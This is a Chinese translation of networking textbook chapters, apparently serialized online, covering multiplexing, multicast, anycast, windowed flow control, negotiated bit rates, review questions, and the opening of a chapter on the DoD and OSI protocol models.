        为什么在这里使用实体而不是主机呢?回到“与乔对话”的例子中,想象一下你和乔交流的方式是通过他的一个十几岁的孩子,而这个孩子只会使用文字(从不说话)。事实上,乔是一个有几百到几千人的家族中的一部分,这个家族的所有交流都必须通过这个少年。家族的每个人都同时进行多个对话,有时候与同一个人聊不同话题。这个可怜的孩子必须很快地书写,并且在他的脑子里保留很多信息,比如“乔和玛丽有四次对话”,并且必须把每一次对话的信息完全隔开。这更接近于网络中多路复用的工作原理。考虑:

        • 可能有数百万(或数十亿)台主机连接到一个网络,所有主机共享同一个物理网络,彼此通信。
        • 每台主机实际上包含许多个应用程序,可能是数百个,每一个应用程序都可以与连接到网络的任何其他主机上的数百个应用程序进行通信。
        • 实际上,每一个应用程序都可以与运行在网络中的其他主机上的任何其他应用程序进行多次通信。
          如果这听起来有点复杂,那是因为它本身就很复杂。本节需要回答的问题是:

        如何有效地在计算机网络上进行多路复用?
        下面将讨论在这个领域中最常用的解决方案,以及与这个基本问题有关的一些有趣问题,如多播和选播。

        2.3.1 设备与应用程序的寻址

        计算机网络使用一系列层级结构组织的地址来解决这些问题。如图2-5所示。
        image.png

        图2-5 网络中多个层级实体之间的寻址

        在图2-5中,展示了四个层级的地址:

        • 在物理链路层,有接口地址,允许两个设备独立地寻址一个特定设备。
        • 在主机级别,有主机地址,允许两台主机直接寻址特定主机。
        • 在进程级别,有端口号,与主机地址相结合,允许两个进程寻址特定设备上的特定进程。
        • 在会话级别,用源端口、目的端口、源地址和目的地址的组合唯一标识特定会话或数据流。

        这个图和解释看起来很简洁。但是在现实生活中,事情要复杂得多。在最广泛部署的寻址方案—IP协议中,没有主机级别地址。相反,每个接口都有逻辑和物理地址。
        注意:IP地址和IP寻址将在第5章详细讨论。
        多路复用和多路复用标识符(地址)在网络中按层级结构进行堆叠。
        注意:将层间两种地址关联起来的机制将在第6章详细讨论。
        但是,在某些情况下,希望将流量一次发送给多个主机。在这些情况下可选择多播和选播。下面将讨论这两种特殊的寻址方式。

        物理链路域、广播域和故障域

        当考虑广播域和物理连接性的概念时,图2-5所示的简洁模型将更加复杂。一些媒体类型(特别是以太网,在第4章将给予更详细的介绍)被设计成使得连接到相同物理链路的每个设备都能接收传输到物理媒介的每个数据包,而连接到物理线路的物理接口只是忽略未寻址到本地址的数据包。然而,在现代网络中,以太网的物理连接很少允许每个设备接收其他设备的数据包;相反,在网络的中间有一个交换机,它阻止未被指定到特定设备的数据包在连接到该主机的物理线路上传输。
        然而,在这些协议中,存在为数据包预留的显式地址。这些数据包要么在没有交换机的情况下被传输到应该接收所有数据包的主机上,要么被所有主机接收和处理。通常,这些地址都是全0或者全1地址。这种协议被称为广播。任何接收并处理广播包的设备,都被称为发送方的广播域。传统上,广播域的概念与故障域密切相关,因为网络故障一旦影响广播域中的一个设备,通常会影响广播域中的每个设备(有关故障域的更多信息,请参见第23章)。

        如果发现这些让人困惑,不要惊讶,因为事实上这本身就令人相当困惑。广播和广播域的基本概念仍然存在,且对于理解网络的运行仍然很重要,但是在某些情况下,该术语的含义可以改变,甚至变得不适用。在考虑任何情况时都要小心,以确保真正理解了这些广播域的真正含义,以及具体的技术如何影响物理连接、寻址和广播域之间的关系。

        2.3.2 多播

        注意:以下简短的解释无法真正地对构建多播树的整个解决方案做出公正的判断,请参阅本章末尾的“拓展阅读”,以了解该领域的更多内容。
        如果你有一个如图2-6所示的网络,需要A把同样的内容分配给G、H、M和N,你会怎么做呢?

        image.png

        图2-6 多播示例

        可以生成4个副本,通过正常的单播转发将一个数据流发送给每个接收方,或者可以将流量发送到网络知道如何复制数据流的单个地址,这样所有4台主机都会收到一个副本。后一种选择称为多播,即使用单个地址将流量传输到多个接收方。在多播中需要解决的关键问题是在流量通过网络时转发和复制流量,从而对数据流感兴趣的每个接收方都将收到一个副本。
        注意:对从多播源接收一组数据包感兴趣的一组设备称为一个多播组。这可能有点令人困惑,因为用于描述多播流的地址在某些情况下也被称为多播组。这两种用途实际上是可以互换的,因为对接收特定多播数据包感兴趣的设备集合将加入多播组,这实际上意味着侦听一个特定的多播地址。
        注意:如果多播流量是双向的,这个问题就更难解决了。例如,假设在图2-6所示的网络中每台主机(除了N)都需要构建一个多播组,并且传输到多播组地址的任何多播都被传送给多播组中的每台主机。
        多播需要解决的关键问题可分为两个问题:

        • 如何发现哪些设备想要接收一份被传送到多播组的传输副本?
        • 如何确定网络中哪些设备应该复制流量,以及它们应该在哪个接口上发送副本?

        一种可能的解决方案是使用本地请求来构建一棵树,通过该树可以在网络中转发多播流量。在协议无关多播(PIM)中,这种系统的一个例子是稀疏模式。在这个过程中,每个设备向它感兴趣的多播流发送一个连接消息,这些连接在网络中逆流传递,直到到达发送方(通过多播流发送数据包的主机)为止。图2-7用于说明此过程。

        image.png


        图2-7 稀疏模式的传播

        在图2-7中:
        1)A将一些流量发送到多播组(地址),称之为Z。
        2)N希望收到Z的副本,因此向它的上游路由器D发送一个请求(连接),以获取该流量的副本。
        3)D没有这个流量的源,因此向它所连接的路由器发送一个请求,以获取该流量的副本。在这种情况下,D发送请求的唯一路由器为B。
        在每一跳上,接收请求的路由器把接收到请求的接口放到它的出站接口列表(Outbound Interface List,OIL)中,并开始转发其他接口上接收的特定多播组的流量。通过这种方式,可以构建从接收方到流量发起者的路径,这被称为反向路径树。
        用于发现哪个主机对接收特定多播组流量感兴趣的方案是通过某种注册服务器实现的。每个想要接收数据流副本的主机都可以通过服务器注册它的请求。主机可以通过多种方式发现注册服务器的存在,包括:

        • 像域名一样处理多播组地址,通过查询多播组地址查找注册服务器的地址。
        • 建立和维护一个列表或映射,将多播组映射到本地表中的服务器。
        • 使用某种形式的散列算法根据多播组地址计算注册服务器。

        注册可以由服务器路径上的设备来追踪,或者,一旦知道了接收方和发送方,服务器就可以向路径上适当的设备发信号,表明这些设备应该为复制和转发数据包配置哪些端口。

        2.3.3 选播

        多路复用解决方案面对的另一个问题是能够使用单个地址在多台主机上实现特定的服务实例。如图2-8所示。

        image.png


        图2-8 一个选播的例子

        在图2-8中,需要设计某个服务S,以提高其性能。为了实现这个目标,已经创建了服务的第二个副本,两个副本分别命名为S1和S2。服务的两个副本在两台服务器(M和N)上运行。选播需要解决的问题是:
        如何将客户端定向到服务的最优实例?
        解决这个问题的一种方法是将所有客户端引导到一个设备上,并让负载均衡器根据客户端的拓扑位置、每台服务器的负载和其他因素将流量分配给服务器。然而,这个解决方案并不总是理想的。例如,如果负载均衡器无法处理那些想要访问服务副本的客户端生成的所有连接请求,该怎么办呢?为了让负载均衡器跟踪各个服务副本的健康状况,将向网络添加哪些类型的复杂性呢?
        注意:第7章将讨论负载均衡。
        选播通过为服务的每个副本分配相同的地址来解决这个问题。在图2-8所示的网络中,M和N将使用相同的地址来提供对S1和S2的可达性。M和N将使用不同的地址,以对其他服务和设备本身通告可达性。
        H和K(在M和N之外的第一跳路由器)将在网络上通告这个相同的地址。当C和D接收到相同目的地的两条路径时,它们将根据度量标准选择最近的路由。在这种情况下,如果每一个链路在同一个网络中配置相同的度量,那么C将负责安排直接来自A的流量,服务地址指向M。另一方面,D将负责安排直接来自B的流量,指定服务地址为N。如果两个实例的服务是相同的距离,将发生什么呢?路由器将使用本地散列算法选择两条路径中的一条。
        注意:请参阅第7章以了解关于等价多路径交换的更多信息,以及如何使用散列以确保流中的每个数据包使用相同的路径。即使是在互联网上,对于使用任何有状态协议的选播解决方案来说,路由都是足够稳定的。
        选播通常用于大规模的服务,这些服务必须提供大量服务器以支持单个服务。有以下几个例子:

        • 大多数大型域名服务(DNS)系统服务器实际上是一组可以通过选播地址访问的服务器。
        • 许多大型的基于Web的服务,特别是社交媒体和搜索,在许多边缘设备上实现了单个服务。
        • 内容缓存服务在分发信息和提供信息服务的时候经常使用选播。

        只要设计正确,选播就能够提供有效的负载均衡以及最佳的服务性能。

        2.4 流量控制

        举个不太恰当的例子,还记得你的姑婆(或者远房表妹)吗?她说话特别快,你根本听不懂她在说些什么。一些计算机程序也会因为太快而让人不懂。如图2-9所示。
        在图2-9中:

        • 在T1时刻,发送方正在发送大约4个数据包,接收方一次处理3个数据包。接收方有一个容量为5的数据包缓冲区来存储未处理的信息,缓冲区中已有2个数据包。
        • 在T2时刻,发送方发送了4个数据包,接收方处理了3个数据包,接收方的缓冲区现有3个数据包。
        • 在T3时刻,发送方发送了4个数据包,接收方处理了3个数据包,接收方的缓冲区现有4个数据包。
        • 在T4时刻,发送方发送了4个数据包,接收方处理了3个数据包,接收方的缓冲区现有5个数据包。

        发送方发送的下一个数据包将被接收方丢弃,因为在接收方处理数据包时,接收缓冲区已经没有存储空间了。这里需要的是某种反馈回路,以告诉发送方降低发送数据包的速度,如图2-10所示。
        这种反馈回路要求接收方和发送方之间存在隐式或显式的信令通知。其中,隐式信令部署更广泛。在隐式信令中,发送方将基于对数据流的一些观察,认为数据包没有被接收。例如,接收方会确认随后数据包的接收,或者接收方只是不确认某个特定数据包的接收,或者接收方在很长一段时间内(基于网络条件)不发送任何消息。在显式信令中,接收方以某种方式直接通知发送方一个特定的数据包没有收到。
        image.png

        图2-9 缓冲区溢出的例子

        image.png

        图2-10 控制数据包流量的一个反馈回路

        2.4.1 窗口机制

        窗口机制和隐式信令组合在一起,是目前在实际网络中应用最广泛的流量控制机制。窗口机制主要包括以下内容:
        1)发送方将一些信息发送给接收方。
        2)在确定信息是否被正确接收之前,发送方等待。
        3)如果接收方在特定时间内确认数据收到,则发送方发送新信息。
        4)如果在特定时间内没有收到接收方的确认消息,则发送方重传信息。
        隐式信令通常与滑动窗口一起使用,只是不确认数据包的接收。有时会使用显式信令,如接收方知道它已经丢弃一个数据包、接收到的数据包有错误、接收到的数据乱序或者数据由于某种原因被损坏。图2-11展示了最简单的窗口协议方案—单个数据包窗口。
        在单数据包窗口(有时也称为ping pong)中,发送方只在接收方确认上一个数据包收到后才发送下一个数据包(如图2-11中的“ack”所示)。如果数据包未收到,接收方不会确认。发送数据包时,发送方设置一个计时器,通常称为重传定时器;一旦这个定时器被唤醒(或到期),发送方就假设接收方没有收到数据包并重传该数据包。

        image.png


        图2-11 单个数据包窗口机制

        发送方要等多久?这个问题的答案有很多,但本质上有两种,一种是发送方可以等待一个固定的时间,另一种是它可以根据以前的传输和网络条件推断出的信息来设置定时器。一个简单(且朴素)的方案是:

        • 测量数据包发送和接收确认之间的时间长度,称为往返时间(RTT,通常用小写字母rtt表示)。
        • 将重传定时器设置为这个数字,再加上少量的缓冲时间,以涵盖rtt在多个传输过程中的变化。

        注意:关于计算重传定时器的各种方法的更多信息请参考第5章。
        接收方也可能会收到相同信息的两份副本:
        1)发送方A发送一个数据包并设置它的重传定时器。
        2)B收到数据包,可能出现以下情况:
        a)由于内存不足、处理器利用率过高或其他原因,无法确认数据包的接收。
        b)接收方发送一个确认,但确认消息被网络设备丢弃。
        3)重传定时器超时,所以发送者会重传数据包的另一个副本。
        4)B收到相同信息的第二个副本。
        接收方如何检测重复数据呢?一种似乎可行的方法是,接收方比较接收到的数据包,看看是否有重复的信息。但这种方法并不总是可行的,也许发送方就是要发送两次相同的信息。检测重复信息的常用方法是在传输的数据包中包含某种序列号。发送方在构建每个数据包时给出一个唯一的序列号,如果接收方收到两个相同序列号的数据包,则认为数据是重复的,并丢弃重复的数据。
        对于一个大小为1的窗口或者一个ping pong,每一组数据传输都需要经历一个发送方和接收方之间的往返,这通常会导致非常慢的传输速率。如果把网络看作端到端的铁路轨道,每一个小数据包都是一节火车车厢,最有效的轨道使用方式和具有最快传输速度的情况就是轨道总是跑满火车的时候。但是,对于网络来说,这在物理上是不可能的。因为网络是由许多发送方和接收方共用的,并且总是存在一些网络环境因素,从而阻止网络利用率达到100%。这里存在一个平衡,即一次发送更多数据包的高效和高速率与一次发送较少数据包(例如只发送一个)的多路复用和“安全”之间的平衡。如果可以用某种方式计算一个正确的平衡点,那么一个固定窗口大小的流控方案就可以很好地发挥作用。图2-12说明了这种方案。
        image.png

        图2-12 一个固定窗口的流控示例

        在图2-12中,假设窗口大小固定为3个数据包:

        • 在T1、T2、T3时刻,发送方A发送数据包;在发送这3个数据包时,A不需要等待B的任何确认消息,因为窗口大小固定为3。
        • 在T4时刻,接收方B确认这三个数据包,并允许A传输下一个数据包。
        • 在T5时刻,B确认这个新的数据包,即使它只有一个数据包。B不需要等到A发送了3个数据包才确认一个数据包。这个确认使A有足够的预算再发送3个数据包。
        • 在T5、T6和T7时刻,A发送3个数据包,填充窗口。现在必须等到B确认这三个数据包才能发送更多的信息。
        • 在T8时刻,B确认收到这三个包。

        在窗口大小大于1的窗口方案中,接收方有4种确认方式:

        • 肯定确认:接收方单独确认每个数据包的接收情况。例如,如果接收到序列号1、3、4和5,接收方就会确认收到了这些特定的数据包。发送方注意到哪些序列号没有被确认,就可以推断接收方没有收到该数据包。
        • 否定确认:接收方对推断为丢失或者收到时被损坏的数据包发送一个否定确认。例如,如果接收到序列号1、3、4和5,接收方推断出序列号2的数据包丢失,就对该数据包发送一个否定确认。
        • 选择性确认:这本质上是肯定确认和否定确认的组合。接收方对接收到的每一个信息序列都发送肯定或否定的确认。
        • 累积确认:对所接收序列号的确认意味着已接收所有较之低的序列号的信息。例如,如果确认序列号10,则意味着收到了包含序列号1~9的信息,以及序列号10的信息。

        第三种窗口机制称为滑动窗口流控机制。这种机制非常类似于一个固定窗口的流控机制,除了窗口的大小不是固定的。在滑动窗口流控机制中,当网络条件发生变化时,发送方可以动态地修改窗口大小。接收方不知道窗口大小,只知道发送方传输了数据包,并且接收方不时地使用前面描述的一个确认机制来确认其中部分或全部数据包。
        除了其他窗口机制中已经考虑的一些问题外,滑动窗口机制增加了一个更有趣的问题:窗口应该设置为多大合适呢?一个简单的解决方案是计算rtt,并将窗口大小设置为rtt的倍数。目前已经提出了很多更复杂的解决方案,其中一些方案将在第5章讨论。

        2.4.2 协商比特率

        另一种解决方案是发送方、接收方和网络为任意一个特定数据流协商一个比特率。这种方案更多地用在电路交换而不是分组交换中。设计者为许多不同的网络技术设计了大量可能的比特率。也许“最完整的比特率集合”用在了异步传输模式(ATM)上—从最近的“网络历史博物馆”中可以找到ATM网络,因为ATM很少在生产网络中部署。ATM比特率为:

        • 固定比特率(Constant Bit Rate,CBR):发送方将以恒定的速率发送数据包(或信息),因此,网络可以围绕这个恒定的带宽负载进行规划,并且接收方也可以围绕这个恒定的比特率进行规划。这个比特率通常用于在发送方和接收方之间需要时间同步的应用程序。
        • 可变比特率(Variable Bit Rate,VBR):发送方将以可变速率传输流量。这个速率通常根据其他一些信息(有助于网络和接收方资源规划的数据流信息)调整,包括:
        • 峰值速率,发送方计划每秒发送数据包数量的最大值。
        • 持续速率,发送方计划传输的正常速率。
        • 最大突发速率,发送方在很短的时间内试图发送数据包的最大数量。
        • 可用比特率(Available Bit Rate,ABR):发送方根据网络容量以尽力而为的方式传输流量,它使用其他形式的流控机制,如滑动窗口技术,以防止缓冲区溢出,并调整传输流量以适配可用的带宽。

        2.5 总结思考

        “在网络中传输数据”是理解整个网络工程问题空间范围的基础。本章从这个基础开始,通过对人类语言空间的思考,揭示了四种特定问题,并提出了若干高层次的解决方案。

        • 对于数据列集,讨论了固定长度和基于TLV的系统,以及元数据、字典和语法的概念。
        • 为了管理差错,讨论了两种方法以检测差错—奇偶校验和CRC,并讨论了一种纠错方法,即汉明码。
        • 为允许多个发送方和接收方使用相同的物理介质,讨论了多路复用中的几个概念,包括多播和选播。
        • 为防止缓冲区溢出,探索了几种类型的窗口机制,并定义了协商比特率。

        就像在书中所遇到的许多其他领域一样,传输的世界也可以成为一个完整的专业。然而,了解基本知识对于每个网络工程师来说都是非常重要的。下一章将考虑一些模型,这些模型将数据传输(通常与转发或数据平面关联)放到了更大的场景中。第4章和第5章将考虑几个不同的传输协议示例,将本章和下一章中的概念应用到实际案例中。

        2.6 拓展阅读

        部分拓展阅读资源可帮助解答本章的研究问题。
        image.png
        image.png

        2.7 复习题

        1.虽然TLV几乎总是比一个固定长度的字段需要更多的空间来承载一段信息,但是在某些情况下,固定长度字段不如TLV的效率高。传输IPv6地址是TLV比固定长度字段更有效的一个具体实例。请描述这是为什么。比较路由协议中携带IPv4地址和IPv6地址的方式有助于理解答案,特别是检查IPv4地址在OSPF版本2中的传输方式,并与在BGP中使用相同地址的方式进行比较。
        2.考虑以下数据类型,并确定是使用固定长度字段还是TLV,以及为什么。
        a)时间和日期。
        b)一个人的全名。
        c)温度读数。
        d)建筑的面积。
        e)一系列音频或视频剪辑。
        f)分成若干部分(如段落和章节)的一本书。
        g)地址中的省份和城市。
        h)地址中的房屋编号或邮政编码。
        3.简述比特误码率(Bit Error Rate,BER)与在传输数据流中检测或修复差错所需的信息量之间的关系,并解释说明。
        4.在某些情况下,在接收时通过发送方的足够信息来纠正数据更有意义(如使用汉明码);而在另一些情况下,发现差错并扔掉数据更有意义。这些条件不仅仅涉及链路类型或者应用程序,而是两者的结合。什么样的链路特性,再加上怎样的应用程序特征,会建议使用FEC呢?哪些会建议使用差错检测并结合数据重传呢?最好先考虑特定应用程序和特定的链路类型,然后再泛化。
        5.一个奇偶校验能检测多少位的翻转变化呢?
        6.隐式和显式信令具有不同的特性或者不同的权衡。对于差错检测或纠错,请至少描述每一种信令形式的一个正面作用和一个负面作用。
        7.在大规模部署选播时,可以将来自单个流的数据包分发给多个接收方。对于这个问题,有两种通用的解决方案。第一种方法是如果一个数据包出现这种传递错误,接收方将强制发送方重置它的状态。另一种方法是以允许状态包含在单个事务中的方式限制发送方和接收方之间的接口。后一种解决方案的形式称为原子事务,通常在RESTful接口中实现。考虑这两种可能的解决方案,并描述各种应用程序(通过给出可能更适合其中一种解决方案的具体示例)。
        8.你是否经常考虑元数据的字典和语法形式?为什么?
        9.找到另外三种不涉及数据格式的元数据,这些元数据以一种可能对攻击者有用的方式描述数据,这种方式有助于攻击者了解特定的流程,比如在两个账户之间转移资金。对于元数据的定义是否存在特定的限制,或者更准确地说,在旁观者眼中元数据是怎样的呢?
        10.考虑本章末尾所解释的协商比特率。在分组交换网络中是否真的可以提供一个恒定的比特率?答案是否取决于网络条件?如果是这样的话,什么条件会影响这个问题的答案呢?

        ]]>
        带你读《计算机网络问题与解决方案:一种构建弹性现代网络的创新方法》之三:网络传输建模 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        Computer Networking Problems and Solutions: An Innovative Approach to Building Resilient, Modern Networks

        网络传输建模

        学习目标
        阅读完本章,读者应该能够:

        • 理解协议栈模型对网络工程的价值
        • 理解美国国防部(Department of Defense,DoD)网络协议栈模型,包括每一层的目标
        • 理解开放系统互连(Open Systems Interconnect,OSI)网络协议栈模型,包括每一层的目标
        • 理解递归互联网架构(Recursive Internet Architecture,RINA)模型,以及它与DoD及OSI模型的区别
        • 理解面向连接模型和无连接模型之间的区别

        前一章所讨论的一系列问题和解决方案对网络传输系统的复杂性提出了一些观点。工程师如何才能处理这些系统中所涉及的显著复杂性呢?
        第一种方法是研究传输系统所解决的基本问题,其中的每个问题都有一系列解决方案。第二种方法是建立模型来帮助理解传输协议:

        • 帮助工程师按传输协议的作用、每个协议包含的信息以及协议之间的接口对协议进行分类。
        • 帮助工程师了解需要提出哪些问题才能够理解某个特定的协议,或者理解一个特定的协议是如何与运行该协议的网络进行交互的,以及为哪些应用程序传输信息。
        • 帮助工程师理解如何将一个个单独的协议组合起来构成一个传输系统。

        第1章提供了关于传输问题及其解决方案空间的高层次概述。本章将讨论使工程师可以更全面地理解协议的第二种方式:模型。模型本质上是上一章所讨论的问题和解决方案的抽象表示。它们提供了一个更加可视化和模块聚焦的表示形式,并且展示了事物是如何组合在一起的。本章将详细讨论以下问题:
        如何使传输系统模型化,使得工程师能够快速而充分地理解这些系统所需要解决的问题,以及如何将多种协议组合起来解决这些问题?
        本章将讨论三种具体的模型:

        • 美国国防部模型
        • 开放系统互连模型
        • 递归互联网架构模型

        这三个模型都有着不同的作用和历史。本章还将讨论协议分类的第二种形式—面向连接和无连接。

        3.1 美国国防部模型

        20世纪60年代,美国国防部高级研究计划局(Defense Advanced Research Projects Agency,DARPA)赞助开发了一个分组交换网络,以取代电话网络作为计算机通信的主要方式。与传说不同的是,最初的想法不是源于在核爆炸中生存下来,而是为几所大学、研究机构和政府机关的各种计算机创造一种互相通信的方式。当时,每种计算机系统都使用自己的物理连线、协议和附属的其他系统,因此无法将这些设备互相连接起来,甚至不能传输数据文件,更不用说创建“万维网”或跨平台执行软件之类了。这些原始模型一般是为了提供终端到主机的通信,因此可以安装一个远程终端并连接到一个办公室或共享空间,然后访问系统的共享资源或主机。围绕这些模型的许多论文反映了这一现实。
        该领域最早的发展之一就是DoD模型,如图3-1所示。

        image.png

        图3-1四层DoD模型

        DoD模型将跨越网络传输信息的工作分为四个不同的功能,每个功能都可以通过众多协议中的一个来执行操作。直到20世纪80年代末甚至90年代初,在每一层都有多个协议的想法一直被认为是有争议的。事实上,DoD模型和OSI模型的初始版本之间的一个关键概念区别就是:在每一层能否有多个协议。
        在DoD模型中:

        • 物理链路层负责将这些0和1的数据调制或序列化到物理链路上。每个链路类型都有一个不同的信号格式来表示一个0或者1;物理层负责将这些0和1转换为物理信号。
        • 网络层负责在非同一物理链路连接的系统之间传输数据。因此,网络层提供了网络层的地址,而不是物理链路的本地地址,同时也提供了一些方法以发现到达目的地址的中间设备和链路集合。
        • 传输层负责在通信设备之间构建和维护会话,并为数据流或数据块提供通用的透明数据传输机制。流量控制和可靠传输也可以在这一层实现,如TCP协议。
        • 应用层是用户和网络资源之间的接口,或者是用户和特定应用程序之间的接口,这些应用程序使用并向连接到网络的其他设备提供数据。

        特别是应用层,把它放在网络传输模型中似乎不太合适。为什么把使用这些数据的应用程序视为传输系统的一部分呢?因为在早期系统中,人是数据的最终用户,而应用程序主要是一种将数据呈现给最终用户的方式。许多机器到机器的处理,如在数据提交给用户之前对其进行大量处理,或者以数字格式对信息进行简单存储等,甚至被认为是不可行的使用场景。既然信息是从一个人传递到另一个人,那么应用程序就应该被认为是传输系统的一部分。
        以下两个观点可能更有助于说明为什么将应用程序包含在传输系统之内。首先,在这些原始系统的设计中有两个组件:一个终端和一个主机。终端实际上是一台显示设备;应用程序安装在主机上。其次,网络软件并不被认为是系统中的一个独立存在;当时,路由器还没有被发明出来,也没有任何其他独立的设备来处理和转发数据包。相反,主机只是连接到终端或另一台主机;网络软件只是在这些设备上运行的另一种应用程序而已。
        随着时间的推移,OSI模型的使用越来越普遍,DoD模型被修改为包含更多层。例如,如图3-2所示是从1983年关于DoD模型的论文中复制的一个图,它有七层(由于某些原因,7是一个神奇的数字)。

        image.png

        这里增加了三层:

        • 公共业务层是一组介于传输层和应用层之间的协议。具体来说,简单邮件传输协议(SMTP)、文件传输协议(FTP)以及其他协议被视为该层的一部分。
        • 四层版本的网络层被分为网间业务层和网络层。网络层表示在每个链路类型上使用不同的分组格式,如无线网络和以太网(在20世纪80年代初仍然非常新)。对于运行在网络上的应用程序和实用工具协议,网间业务层将它们统一为单个互联网数据报服务。
        • 链路层是为了区分不同链路类型上的信息编码和设备到物理链路的连接,并非所有的硬件接口都提供了链路层。

        随着时间的推移,这些扩展的DoD模型已经不再受欢迎;四层模型是当今最常被引用的模型。主要有如下几个原因:

        • 在大多数情况下,公共业务层和应用层基本上是相互重叠的。例如,FTP在TCP之上多路传输内容,而不是在协议栈中作为一个单独的协议或者层。TCP和UDP最终被固化为传输层中的两个协议,其他协议(通常)在这二者之一上运行。
        • 随着数据包转发设备(路由器和交换机)的发明,网络层和网间业务层之间的区分逐渐消除。二者最初的区分主要是在低速长距离(广域)链路和短距离局域链路之间;一般地,路由器承担了将链路安装到主机外的广域网中,因此这种区分就变得不那么重要了。

        像链路层和物理层之间的分离所遇到的问题那样,有些接口类型根本没有办法将信令编码与主机接口分开。因此,在DoD模型中,这两个层通常被合并成一个单独的“层”。
        DoD模型在历史上是重要的,因为:

        • 这是第一次尝试将网络功能编码成一个模型。
        • 设计了TCP/IP协议族(在其上运行全球互联网),这个模型对于理解TCP/IP协议设计的许多方面都非常重要。
        • “内建”在模型的任何特定层都有多个协议的概念。这为缩小任何特定协议焦点范围并允许许多不同的协议在同一网络上同时运行的总体概念奠定了基础。

        3.2 开放系统互连模型

        从20世纪60年代到80年代,主要的通信形式是电路交换;发送方会要求一个网元(一个交换机)将其连接到一个特定的接收方,这个交换机将完成连接(在接收方不忙的情况下),并且通过所建立的电路进行通信。如果这听起来像一个传统的电话系统,那是因为它实际上就是基于传统网络系统(现在称为“普通老式电话服务”(POTS))。大型电话公司和计算机公司对这种模式进行了深度投资,并从围绕电路交换技术设计的系统中获取大量收入。随着DoD模型(以及一系列相关的协议和概念)开始在研究人员中流行起来,这些人决定建立一个新的标准组织,这个组织将建立一个替代系统,提供“两全其美”的服务。系统将包含分组交换的最佳组成部分,同时保留电路交换的最好元素,以创造一个新的标准,让每个人都满意。这个新的标准组织于1977年被提出,并作为国际标准化组织(ISO)的一部分获得通过。
        这个新的ISO工作组设计了一个基于数据库通信,类似于分组模型提案(已被拒绝)的分层模型,其主要目标是允许在20世纪70年代后期占主导地位的大型数据库核心系统之间互相通信。该委员会被分为电信工程师团队和数据库团队,使标准变得非常复杂。所开发的协议需要提供面向连接和无连接的会话控制,并且发明了整个应用程序协议族来创建电子邮件、文件传输和许多其他应用程序(记住,应用程序是协议栈的一部分)。例如,需要编纂各种各样的传输模式,以便提供广泛的服务。直到1989年,整整十年过去了,规范还没有完全完成。尽管许多政府、大型计算机制造商和电信公司在DoD协议栈和模型上支持它,但该协议并没有得到广泛的部署。
        但是在这十年间,DoD协议栈仍在继续发展;互联网工程任务组(IETF)成为TCP/IP协议栈的领导者,主要为研究人员和大学(现在众所周知的互联网直到1992年才允许为商业流量)服务。随着OSI协议落地失败,许多商业网络和网络设备都转向TCP/IP协议族,以便“马上”解决现实世界的问题。
        此外,由于TCP/IP协议栈是由美国政府拨款资助开发的,所以这些规范是免费的。事实上,由于大学和研究生需要实现他们的研究成果,从而TCP/IP协议栈在广泛的系统中得到了实现。而OSI规范只能从国际标准化组织购买纸质版本,而且购买者只能是国际标准化组织的成员。国际标准化组织旨在成为一个“会员专用”的俱乐部,使得现有成员可以牢牢掌控分组交换技术的发展。但是,该组织的“会员专用”性质与业内人员有抵触,最终扮演了一个逐渐衰落的角色。
        不过,OSI模型为促进网络工程的发展做出了许多贡献;例如,其对服务质量(QoS)和路由问题的关注在之后的几年中得到了回报。其中一个主要贡献是明确了模块化的概念;许多不同系统之间相互连接的复杂性以及许多不同的需求,推动了OSI社区明确责任界限,以及层间接口的清晰界定。
        第二个贡献是机器与机器之间的通信概念。如图3-3所示,中间的几个方框(最初称为网关,现在称为路由器和交换机)被明确地视为网络模型的一部分。
        image.png

        图3-3 OSI模型(包括了中间系统的概念)

        甚至不需要看这张图片就能记住OSI模型—因为所有参加过网络课程或者网络工程认证学习的人都熟悉使用七层模型来描述网络的运作方式。
        通过这种方式建立网络,其特点在于使得不同部分之间的交互更容易被看到和理解。通过模型垂直移动,每一对相邻层都可以通过套接字或应用程序编程接口(API)进行交互。因此,如果要连接到特定的物理端口,数据链路层的一段代码将连接到该端口的套接字。这使得不同层次之间的相互作用能够被抽象化和标准化。网络层的一个软件不需要知道如何处理各种物理接口,只需要知道如何将数据传输到同一系统的数据链路层软件即可。
        每一层都有一组特定的执行功能。
        物理层,也称为第1层,负责将这些0和1数据调制或序列化到物理链路上。每个链路类型都以一个不同的格式来发送一个0或1;物理层负责将这些0和1转换成物理信号。
        数据链路层,也称为第2层,负责将某些传输的信息实际发送到连接在同一链路中合适的计算机上。每个设备都有一个不同的数据链路(第二层)地址,可以用来向特定设备发送流量。数据链路层假定信息流中的每个帧与同一信息流中的所有其他帧是分开的,只提供通过同一物理链路连接的设备间通信。
        网络层,也称为第3层,负责在非同一物理链路连接的系统之间传输数据。网络层提供了全网(或者第3层)地址,而不是链路的本地地址,还提供了一些方法来发现到达目的地址所必须经过的一组设备和链路。
        传输层,也称为第4层,负责不同设备之间的透明数据传输。传输层协议可以是“可靠的”,这意味着传输层将会重新传输在较低层丢失的数据;也可以是“不可靠的”,这意味着在较低层丢失的数据必须通过某些更高层的应用程序来重新传输。
        会话层,也称为第5层,并非真正地传输数据,而是管理在两台不同计算机上运行的应用程序之间的连接。会话层确保数据的类型、数据的形式以及数据流的可靠性,这些都是对外暴露并解释说明的。
        表示层,也称为第6层,实际上是以某种方法来格式化数据,以便允许在这两个设备上运行的应用程序能够理解和处理数据。加密、流量控制,以及任何其他需要提供应用程序和网络之间接口的数据操作都发生在这一层。应用程序通过套接字与表示层交互。
        应用层,也称为第7层,提供了用户和应用程序之间的接口,而应用程序又通过表示层与网络进行交互。
        七层模型不仅可以精确地描述层与层之间的相互作用,而且可以精确地描述多台计算机上平行层之间的相互作用。第一台设备上的物理层可以与第二台设备上的物理层进行通信,第一台设备上的数据链路层可以与第二台设备上的数据链路层通信等。正如设备上两个层之间的相互作用通过套接字来处理一样,不同设备在平行层之间的交互通过网络协议来处理。
        例如,以太网描述了物理线路上0和1的数字信号、一种启动和停止一个数据帧的格式,以及在所有连接到单个线路的设备中寻址单个设备的方法。因此,以太网属于OSI模型中的物理层和数据链路层(第1层和第2层)。
        IP描述了将数据格式化为数据包,然后通过寻址和其他必要的方法,跨越多个数据链路层链路,将数据包发送到经过几跳后的设备上。因此,IP属于OSI模型的网络层(第3层)。
        TCP描述了会话的建立与维护、数据重传以及与应用程序的交互。因此,TCP属于OSI模型的传输层和会话层(第4层和第5层)。
